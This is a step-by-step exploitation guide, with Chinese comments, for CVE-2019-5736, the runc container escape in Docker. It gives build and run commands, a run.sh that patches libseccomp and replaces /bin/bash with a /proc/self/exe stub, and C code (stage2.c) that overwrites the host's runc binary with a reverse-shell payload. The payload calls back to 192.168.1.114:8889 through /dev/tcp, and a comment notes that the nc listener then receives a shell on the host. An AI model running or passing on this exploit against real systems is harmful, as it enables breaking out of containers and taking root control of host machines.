- (1). edit poc command in stage2.cve
- (2). build docker
docker build -t cve .
- (3). run docker
docker run -d cve /bin/bash -c "tail -f /dev/null"
- (4). backup docker-runc
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5).
docker exec -it docker-id /bin/bash
- (6). edit run.sh libseccomp edition Exp:
cd /root/libseccomp-2.5.1
- (7). in docker run
cd /root && ./run.sh && exit
- (8).
docker exec -it docker-id /bin/bash
run.sh
#!/bin/bash
# libseccomp版本及时关注容器创建后/root目录下下载的对应版本信息
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
宿主机:Ubuntu18.04
Docker-ce:18.06.1~ce~3-0~ubuntu
docker-runc:1.0
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# 如出错,cd /var/lib/dpkg/updates删除目录下的所有文件再执行以上
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
stage2.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
printf("HAX2: argv: %s\n", argv[1]);
int res1 = -1;
int total = 10000;
while(total>0 && res1== -1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
printf("HAX2: fd: %d\n", fd);
const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1 &\n";
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
res1 = res;
total--;
}
}
docker build -t cve-2019-5736 .
docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"
因后期对系统内docker-runc
文件进行覆盖操作
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
docker exec -it 655378598a92 /bin/bash
# 备注:及时修改run.sh文件中libseccomp版本信息再执行
cd /root
./run.sh
exit
# docker exec -it 655378598a92 /bin/bash
# 此时nc监听会收到一个反弹宿主机的shell